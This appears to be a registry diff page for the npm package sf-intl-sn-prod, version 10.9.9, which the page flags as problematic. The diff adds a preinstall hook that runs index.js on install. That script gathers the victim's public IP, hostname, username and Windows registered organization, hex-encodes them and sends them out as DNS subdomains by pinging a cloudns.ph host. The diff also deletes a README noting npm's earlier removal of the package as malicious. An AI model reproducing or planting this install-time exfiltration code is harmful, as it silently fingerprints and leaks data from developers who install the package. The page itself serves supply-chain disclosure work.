sf-intl-sn-prod 0.0.1-security → 10.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of sf-intl-sn-prod might be problematic. Click here for more details.
- package/index.js +53 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const os = require("os");
|
3
|
+
|
4
|
+
function safeGet(func) {
|
5
|
+
try {
|
6
|
+
return func() || "";
|
7
|
+
} catch {
|
8
|
+
return "";
|
9
|
+
}
|
10
|
+
}
|
11
|
+
|
12
|
+
function getSystemOrganization(callback) {
|
13
|
+
exec("systeminfo", (err, stdout) => {
|
14
|
+
if (err) {
|
15
|
+
callback("");
|
16
|
+
return;
|
17
|
+
}
|
18
|
+
const match = stdout.match(/Registered Organization:\s*(.+)/);
|
19
|
+
callback(match ? match[1].trim().replace(/\s+/g, "_") : "");
|
20
|
+
});
|
21
|
+
}
|
22
|
+
|
23
|
+
exec("curl -s ipinfo.io", (error, stdout) => {
|
24
|
+
let ip = "";
|
25
|
+
if (!error) {
|
26
|
+
try {
|
27
|
+
const data = JSON.parse(stdout);
|
28
|
+
ip = data.ip || "";
|
29
|
+
} catch {}
|
30
|
+
}
|
31
|
+
|
32
|
+
const hn = safeGet(os.hostname);
|
33
|
+
const un = safeGet(() => os.userInfo().username);
|
34
|
+
|
35
|
+
getSystemOrganization((org) => {
|
36
|
+
const combined = `${ip}_${hn}_${un}_${org}`;
|
37
|
+
const hexEncoded = Buffer.from(combined).toString("hex");
|
38
|
+
console.log(hexEncoded)
|
39
|
+
const len = Math.ceil(hexEncoded.length / 3);
|
40
|
+
const part1 = hexEncoded.slice(0, len);
|
41
|
+
const part2 = hexEncoded.slice(len, 2 * len);
|
42
|
+
const part3 = hexEncoded.slice(2 * len);
|
43
|
+
const target = `${part1}.${part2}.${part3}.4.560ba22e.log.nat.cloudns.ph`;
|
44
|
+
|
45
|
+
console.log(target)
|
46
|
+
const pingCmd = os.platform() === "win32" ? `ping -n 4 ${target}` : `ping -c 4 ${target}`;
|
47
|
+
exec(pingCmd, (pingError, pingStdout) => {
|
48
|
+
if (pingError) {
|
49
|
+
return;
|
50
|
+
}
|
51
|
+
});
|
52
|
+
});
|
53
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "sf-intl-sn-prod",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "10.9.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
6
13
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=sf-intl-sn-prod for more information.
|